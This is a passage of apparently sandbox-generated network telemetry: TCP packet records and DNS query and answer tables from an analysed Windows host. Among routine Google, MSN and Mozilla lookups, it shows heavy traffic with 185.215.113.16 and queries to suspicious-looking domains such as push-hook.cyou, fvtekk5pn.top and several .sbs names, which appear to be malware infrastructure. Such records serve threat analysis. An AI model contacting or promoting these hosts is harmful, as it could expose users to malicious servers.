Nov 26, 2024 10:09:45.326101065 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326107025 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.326113939 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326121092 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.326126099 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326138020 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326144934 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.326149940 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326159954 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.326163054 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326188087 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326200008 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326200008 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.326200008 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.326225042 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326227903 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.326237917 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.326246023 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326278925 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.326292038 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326304913 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326308012 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.326320887 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326329947 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.326334953 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326348066 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326358080 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.326360941 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326373100 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326373100 CET	443	49895	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:45.326379061 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.326385021 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326397896 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326400995 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.326410055 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326423883 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326431036 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.326432943 CET	443	49895	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:45.326436996 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326445103 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.326448917 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326462030 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326467991 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.326491117 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326492071 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.326491117 CET	49895	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:45.326499939 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.326503992 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326517105 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326529026 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.326533079 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.326546907 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.326565027 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.326936007 CET	49894	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:45.326936007 CET	49894	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:45.326956987 CET	443	49894	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:45.326968908 CET	443	49894	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:45.328306913 CET	49895	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:45.328332901 CET	443	49895	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:45.328346014 CET	49895	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:45.328353882 CET	443	49895	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:45.329142094 CET	49892	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:45.329155922 CET	443	49892	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:45.329312086 CET	49892	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:45.329319954 CET	443	49892	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:45.331696033 CET	49901	443	192.168.2.5	204.79.197.239
Nov 26, 2024 10:09:45.331743002 CET	443	49901	204.79.197.239	192.168.2.5
Nov 26, 2024 10:09:45.332014084 CET	49901	443	192.168.2.5	204.79.197.239
Nov 26, 2024 10:09:45.332257986 CET	49901	443	192.168.2.5	204.79.197.239
Nov 26, 2024 10:09:45.332273006 CET	443	49901	204.79.197.239	192.168.2.5
Nov 26, 2024 10:09:45.332714081 CET	49902	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:45.332751989 CET	443	49902	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:45.332834005 CET	49902	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:45.333198071 CET	49902	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:45.333211899 CET	443	49902	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:45.333316088 CET	49903	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:45.333340883 CET	443	49903	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:45.333472967 CET	49903	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:45.333681107 CET	49903	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:45.333694935 CET	443	49903	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:45.334002972 CET	49904	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:45.334011078 CET	443	49904	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:45.334276915 CET	49904	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:45.334403992 CET	49904	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:45.334415913 CET	443	49904	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:45.356229067 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.356287003 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.361846924 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.361907005 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.363238096 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.363291025 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.363343954 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.363394976 CET	49891	80	192.168.2.5	185.215.113.16
Nov 26, 2024 10:09:45.447066069 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.447088957 CET	80	49891	185.215.113.16	192.168.2.5
Nov 26, 2024 10:09:45.447127104 CET	49891	80	192.168.2.5	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 26, 2024 10:09:06.669538975 CET	192.168.2.5	1.1.1.1	0x9115	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:06.669826984 CET	192.168.2.5	1.1.1.1	0xfebf	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 26, 2024 10:09:13.555567026 CET	192.168.2.5	1.1.1.1	0x649c	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:13.555567026 CET	192.168.2.5	1.1.1.1	0xde3d	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 26, 2024 10:09:19.131587982 CET	192.168.2.5	1.1.1.1	0xb5d9	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:19.131788969 CET	192.168.2.5	1.1.1.1	0x59e1	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 26, 2024 10:09:21.680506945 CET	192.168.2.5	1.1.1.1	0xc1ae	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:21.680927038 CET	192.168.2.5	1.1.1.1	0xeb8e	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 26, 2024 10:09:22.014064074 CET	192.168.2.5	1.1.1.1	0x9362	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:22.014230967 CET	192.168.2.5	1.1.1.1	0x269b	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 26, 2024 10:09:23.210236073 CET	192.168.2.5	1.1.1.1	0xdfbb	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:23.210483074 CET	192.168.2.5	1.1.1.1	0x44a3	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 26, 2024 10:09:23.211266041 CET	192.168.2.5	1.1.1.1	0xd1aa	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:23.211695910 CET	192.168.2.5	1.1.1.1	0x77e1	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 26, 2024 10:09:23.261301041 CET	192.168.2.5	1.1.1.1	0x2a32	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:23.261471987 CET	192.168.2.5	1.1.1.1	0xa2ff	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 26, 2024 10:09:24.225617886 CET	192.168.2.5	1.1.1.1	0xd619	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:24.225950003 CET	192.168.2.5	1.1.1.1	0x12d0	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 26, 2024 10:09:24.233728886 CET	192.168.2.5	1.1.1.1	0x91c	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:24.238383055 CET	192.168.2.5	1.1.1.1	0x8dba	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 26, 2024 10:09:24.373444080 CET	192.168.2.5	1.1.1.1	0xd19b	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:24.373671055 CET	192.168.2.5	1.1.1.1	0x85f7	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 26, 2024 10:09:24.665157080 CET	192.168.2.5	1.1.1.1	0xd0e0	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:24.665523052 CET	192.168.2.5	1.1.1.1	0xf400	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 26, 2024 10:10:12.859481096 CET	192.168.2.5	1.1.1.1	0xc592	Standard query (0)	push-hook.cyou	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:27.343275070 CET	192.168.2.5	1.1.1.1	0x57e5	Standard query (0)	home.fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:27.343327045 CET	192.168.2.5	1.1.1.1	0xce46	Standard query (0)	home.fvtekk5pn.top	28	IN (0x0001)	false
Nov 26, 2024 10:10:32.862401962 CET	192.168.2.5	1.1.1.1	0x582	Standard query (0)	push-hook.cyou	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:34.578494072 CET	192.168.2.5	1.1.1.1	0xe65c	Standard query (0)	property-imper.sbs	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:34.724574089 CET	192.168.2.5	1.1.1.1	0xe2b7	Standard query (0)	frogs-severz.sbs	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:34.869616032 CET	192.168.2.5	1.1.1.1	0xbf30	Standard query (0)	occupy-blushi.sbs	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:47.868540049 CET	192.168.2.5	1.1.1.1	0x8c66	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:47.868769884 CET	192.168.2.5	1.1.1.1	0xdd5c	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 26, 2024 10:10:47.871017933 CET	192.168.2.5	1.1.1.1	0xb81a	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:47.871179104 CET	192.168.2.5	1.1.1.1	0x2303	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 26, 2024 10:10:47.872555971 CET	192.168.2.5	1.1.1.1	0x4081	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:47.872802973 CET	192.168.2.5	1.1.1.1	0xc5cf	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 26, 2024 10:10:50.148638964 CET	192.168.2.5	1.1.1.1	0x2b1c	Standard query (0)	property-imper.sbs	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:50.295572996 CET	192.168.2.5	1.1.1.1	0xd4c5	Standard query (0)	frogs-severz.sbs	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:53.551038980 CET	192.168.2.5	1.1.1.1	0x1605	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:53.551115990 CET	192.168.2.5	1.1.1.1	0x29b4	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 26, 2024 10:10:59.227775097 CET	192.168.2.5	1.1.1.1	0x8411	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:59.227838039 CET	192.168.2.5	1.1.1.1	0x6758	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 26, 2024 10:10:59.463440895 CET	192.168.2.5	1.1.1.1	0xdaf5	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:59.608428955 CET	192.168.2.5	1.1.1.1	0x23dd	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 26, 2024 10:11:00.379045010 CET	192.168.2.5	1.1.1.1	0xc44	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:11:00.385713100 CET	192.168.2.5	1.1.1.1	0x14e5	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:11:00.562726021 CET	192.168.2.5	1.1.1.1	0x5e6e	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:11:00.563252926 CET	192.168.2.5	1.1.1.1	0x1c8c	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:11:00.706861973 CET	192.168.2.5	1.1.1.1	0xadf	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 26, 2024 10:11:00.707170963 CET	192.168.2.5	1.1.1.1	0x5b2d	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 26, 2024 10:11:02.163000107 CET	192.168.2.5	1.1.1.1	0x92ba	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:11:05.003511906 CET	192.168.2.5	1.1.1.1	0xa143	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:11:05.003627062 CET	192.168.2.5	1.1.1.1	0xab1	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 26, 2024 10:11:09.806359053 CET	192.168.2.5	1.1.1.1	0x9343	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:11:09.806442022 CET	192.168.2.5	1.1.1.1	0xf9ff	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 26, 2024 10:11:15.570391893 CET	192.168.2.5	1.1.1.1	0xdbc5	Standard query (0)	property-imper.sbs	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:11:15.899295092 CET	192.168.2.5	1.1.1.1	0x112c	Standard query (0)	frogs-severz.sbs	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 26, 2024 10:09:06.817270994 CET	1.1.1.1	192.168.2.5	0xfebf	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 26, 2024 10:09:06.817281961 CET	1.1.1.1	192.168.2.5	0x9115	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:13.700604916 CET	1.1.1.1	192.168.2.5	0xde3d	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 10:09:13.700632095 CET	1.1.1.1	192.168.2.5	0x649c	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 10:09:13.700632095 CET	1.1.1.1	192.168.2.5	0x649c	No error (0)	plus.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:19.278770924 CET	1.1.1.1	192.168.2.5	0x59e1	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 10:09:19.278836966 CET	1.1.1.1	192.168.2.5	0xb5d9	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 10:09:19.757741928 CET	1.1.1.1	192.168.2.5	0xf262	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 10:09:19.757741928 CET	1.1.1.1	192.168.2.5	0xf262	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:19.804938078 CET	1.1.1.1	192.168.2.5	0x5f91	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 10:09:21.820722103 CET	1.1.1.1	192.168.2.5	0xeb8e	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 10:09:21.821062088 CET	1.1.1.1	192.168.2.5	0xc1ae	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 10:09:22.158204079 CET	1.1.1.1	192.168.2.5	0x9362	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 10:09:22.158204079 CET	1.1.1.1	192.168.2.5	0x9362	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:22.159051895 CET	1.1.1.1	192.168.2.5	0x269b	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 10:09:23.350507975 CET	1.1.1.1	192.168.2.5	0xdfbb	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:23.350507975 CET	1.1.1.1	192.168.2.5	0xdfbb	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:23.351922989 CET	1.1.1.1	192.168.2.5	0xd1aa	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:23.351922989 CET	1.1.1.1	192.168.2.5	0xd1aa	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:23.352067947 CET	1.1.1.1	192.168.2.5	0x77e1	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 26, 2024 10:09:23.352078915 CET	1.1.1.1	192.168.2.5	0x44a3	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 26, 2024 10:09:23.401400089 CET	1.1.1.1	192.168.2.5	0x2a32	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:23.401400089 CET	1.1.1.1	192.168.2.5	0x2a32	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:23.401561022 CET	1.1.1.1	192.168.2.5	0xa2ff	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 26, 2024 10:09:24.368129969 CET	1.1.1.1	192.168.2.5	0xd619	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:24.368129969 CET	1.1.1.1	192.168.2.5	0xd619	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:24.368129969 CET	1.1.1.1	192.168.2.5	0xd619	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:24.368129969 CET	1.1.1.1	192.168.2.5	0xd619	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:24.375181913 CET	1.1.1.1	192.168.2.5	0x91c	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 10:09:24.379209995 CET	1.1.1.1	192.168.2.5	0x8dba	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 10:09:24.657201052 CET	1.1.1.1	192.168.2.5	0xd19b	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 10:09:24.657211065 CET	1.1.1.1	192.168.2.5	0x85f7	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 10:09:24.808240891 CET	1.1.1.1	192.168.2.5	0xd0e0	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 10:09:24.808640003 CET	1.1.1.1	192.168.2.5	0xf400	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 10:09:25.033560991 CET	1.1.1.1	192.168.2.5	0xed40	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 10:09:25.033560991 CET	1.1.1.1	192.168.2.5	0xed40	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:25.735853910 CET	1.1.1.1	192.168.2.5	0xd2ad	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 10:09:25.735853910 CET	1.1.1.1	192.168.2.5	0xd2ad	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:26.600406885 CET	1.1.1.1	192.168.2.5	0xa08e	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 10:09:26.600406885 CET	1.1.1.1	192.168.2.5	0xa08e	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:28.628150940 CET	1.1.1.1	192.168.2.5	0x1cb3	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 10:09:28.628150940 CET	1.1.1.1	192.168.2.5	0x1cb3	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:29.640029907 CET	1.1.1.1	192.168.2.5	0x1cb3	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 10:09:29.640029907 CET	1.1.1.1	192.168.2.5	0x1cb3	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:30.681123018 CET	1.1.1.1	192.168.2.5	0x1cb3	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 10:09:30.681123018 CET	1.1.1.1	192.168.2.5	0x1cb3	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:32.801223993 CET	1.1.1.1	192.168.2.5	0x1cb3	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 10:09:32.801223993 CET	1.1.1.1	192.168.2.5	0x1cb3	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:09:36.666673899 CET	1.1.1.1	192.168.2.5	0x1cb3	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 10:09:36.666673899 CET	1.1.1.1	192.168.2.5	0x1cb3	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:13.442434072 CET	1.1.1.1	192.168.2.5	0xc592	No error (0)	push-hook.cyou		104.21.10.6	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:13.442434072 CET	1.1.1.1	192.168.2.5	0xc592	No error (0)	push-hook.cyou		172.67.161.207	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:28.227376938 CET	1.1.1.1	192.168.2.5	0x57e5	No error (0)	home.fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:33.002334118 CET	1.1.1.1	192.168.2.5	0x582	No error (0)	push-hook.cyou		104.21.10.6	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:33.002334118 CET	1.1.1.1	192.168.2.5	0x582	No error (0)	push-hook.cyou		172.67.161.207	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:34.720305920 CET	1.1.1.1	192.168.2.5	0xe65c	Name error (3)	property-imper.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:34.867789030 CET	1.1.1.1	192.168.2.5	0xe2b7	Name error (3)	frogs-severz.sbs	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:35.036230087 CET	1.1.1.1	192.168.2.5	0xbf30	No error (0)	occupy-blushi.sbs		104.21.7.169	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:35.036230087 CET	1.1.1.1	192.168.2.5	0xbf30	No error (0)	occupy-blushi.sbs		172.67.187.240	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:48.007901907 CET	1.1.1.1	192.168.2.5	0x8c66	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:48.007901907 CET	1.1.1.1	192.168.2.5	0x8c66	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 26, 2024 10:10:48.008088112 CET	1.1.1.1	192.168.2.5	0xdd5c	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
